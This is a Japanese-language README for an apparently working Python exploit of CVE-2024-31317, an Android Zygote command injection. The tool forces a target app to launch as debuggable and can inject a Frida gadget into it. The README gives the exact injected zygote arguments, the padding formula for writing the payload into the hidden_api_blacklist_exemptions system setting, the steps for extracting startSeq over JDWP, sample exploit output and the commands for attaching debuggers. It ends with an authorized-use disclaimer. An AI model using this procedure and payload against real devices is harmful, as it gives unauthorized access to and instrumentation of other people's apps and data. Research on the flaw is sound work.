
CVE-2024-31317 デバッグ可能なアプリのエクスプロイト
A Python-based exploit for CVE-2024-31317 (Android Zygote Injection) が、hidden_api_blacklist_exemptions 設定を通じて悪意のある zygote 引数を注入することで、インストール済みの Android アプリをデバッグ可能にします。オプションで Frida gadget の注入によるランタイムフッキングもサポートしています。
このエクスプロイトは、Android の Zygote プロセスにおけるコマンドインジェクションの脆弱性を利用して、ターゲットアプリケーションを debuggable フラグを有効にして起動します。これにより、root アクセスやアプリのデバッグバージョンを必要とせずに、JDWP デバッグと任意のアプリの検査が可能になります。
研究元: Flanker 氏による CVE-2024-31317 の分析
重要な洞察: "ZygoteArguments の runtime-flags フィールドは、実際にアプリケーションの debuggable 属性を有効にするために使用できる。"
runtime-flags=65535 を設定してデバッグを有効化ppadb, jdwplib以下のファイルを同じディレクトリに配置してください:
├── CVE-2024-31317-Debuggable.py # メインエクスプロイトスクリプト
├── jdwplib.py # JDWP クライアントライブラリ
├── app-debug.apk # デバッグ可能なヘルパーアプリ
├── frida-gadget-android-*.so # Frida gadget(オプション)
├── frida-gadget.config.so # Frida 設定(オプション)
└── win32/adb.exe # Windows 用 ADB バイナリ
python CVE-2024-31317-Debuggable.py
スクリプトはパラメータ検出モードの選択を促します:
==================================================
CVE-2024-31317 Exploit
==================================================
[1] Auto-detect parameters
[2] Hardcoded values
Mode (1/2) [1]:
フェーズ 1: startSeq の抽出
startSeq 値を抽出フェーズ 2: Zygote 引数の注入
runtime-flags=65535(デバッグ可能)を含む悪意のある zygote 引数を構築hidden_api_blacklist_exemptions 設定に注入フェーズ 3: エクスプロイト後処理
==================================================
CVE-2024-31317 Exploit
==================================================
[1] Auto-detect parameters
[2] Hardcoded values
Mode (1/2) [1]: 1
[INFO] Phase 1: Extract startSeq
[INFO] com.debug.app already installed
[INFO] Setting debuggable
[INFO] Starting com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] JDWP port: 8700
[INFO] Suspending VM
[INFO] Scanning 42 frames
[INFO] startSeq: 123456
[INFO] Phase 2: Exploit com.debug.configurator
[INFO] Detecting parameters for com.debug.configurator
[INFO] UID: 10242
[INFO] Arch: arm64
[INFO] Data: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Payload: 8765 bytes
[INFO] Restarting target
[INFO] Done
[INFO] Target PID: 23456
[INFO] JDWP: 8701
Inject Frida? (y/N):
スクリプト上部の定数を編集します:
TARGET_APP = "com.debug.configurator" # ターゲットパッケージに変更
DEBUG_APP = "com.debug.app" # ヘルパーデバッグアプリ
DEBUG_APK = "app-debug.apk" # ヘルパーアプリの APK ファイル
自動検出モード(推奨):
pm list packages -U を使用して UID を取得dumpsys package を使用して命令セットとデータディレクトリを取得ハードコードモード:
エクスプロイト成功後、オプションで Frida gadget を注入できます:
Inject Frida? (y/N): y
スクリプトは以下を行います:
frida-gadget.so を /data/local/tmp/ にプッシュrun-as を使用してアプリのデータディレクトリにコピースクリプトは信頼性順に以下のブレークポイントを試行します:
上位のブレークポイントは自動的にトリガーされるはずです。タイムアウトした場合は、アプリをタップしてフォールバックブレークポイントをトリガーしてください。
注入成功後:
# Connect to gadget
frida -H 127.0.0.1:27042 -n Gadget
# List processes
frida-ps -H 127.0.0.1:27042
エクスプロイトが成功すると、ターゲットアプリはデバッグが有効な状態で実行されます:
JDWP デバッガで接続:
jdb -attach localhost:8701
Android Studio デバッガを使用 - 転送されたポート上のプロセスにアタッチ
Frida を使用 - スクリプトで gadget が注入された場合
CVE-2024-31317 は、Android の Zygote プロセスにおけるコマンドインジェクションの脆弱性です。特別に細工された入力を hidden_api_blacklist_exemptions システム設定に書き込むことで、アプリ起動時に任意の zygote 引数を注入できます。
startSeq の抽出: アプリの起動ごとに固有のシーケンス番号があります。これは、JDWP 経由でデバッグ可能なアプリのスタックフレーム変数を検査することで抽出します。
ペイロードの構築: 以下の zygote 引数を含むペイロードを構築します:
--runtime-args
--setuid=<target_uid>
--setgid=<target_gid>
--runtime-flags=65535 # すべてのデバッグフラグを有効化
--mount-external-default
--target-sdk-version=35
--setgroups=3003
--nice-name=<package>
--seinfo=default:targetSdkVersion=30:complete
--instruction-set=<arch>
--app-data-dir=<data_dir>
--package-name=<package>
--is-top-app
--bind-mount-data-dirs
android.app.ActivityThread
seq=<startSeq+1>
注入: 次のような特定のパディングを使用して、システム設定にペイロードを注入します(Android 12 以上向け):
payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
トリガー: ターゲットアプリを強制停止して再起動すると、注入された引数と debuggable フラグが有効になった状態で起動します。
Frida 注入の仕組み:
Runtime.load() を使用して Frida gadget の共有ライブラリをロード"Failed to get startSeq"
Frida 注入中に "No breakpoint hit"
Frida 接続が拒否される
adb forward --listadb forward tcp:27042 tcp:27042このツールは教育および許可されたセキュリティ研究目的のみに使用してください。あなたが所有するデバイス、またはテストする明示的な書面による許可があるデバイスでのみ使用してください。許可なくコンピュータシステムにアクセスすることは違法かつ非倫理的です。著者はこのツールの誤用について一切の責任を負いません。
MIT ライセンス - 詳細は LICENSE ファイルを参照してください。
| Class | Method | Trigger |
|---|
android.os.MessageQueue | next | Auto - main looper polls constantly |
android.os.Binder | execTransact | Auto - any IPC/binder call |
android.app.ActivityThread | handleMessage | Auto - app's main handler |
android.os.Handler | dispatchMessage | Auto - message dispatch |
android.os.Handler | handleMessage | Auto - message handling |
android.view.Choreographer | doFrame | Auto - frame callbacks |
android.view.View | dispatchTouchEvent | Manual - requires touch |
android.view.View | onDraw | Manual - requires UI redraw |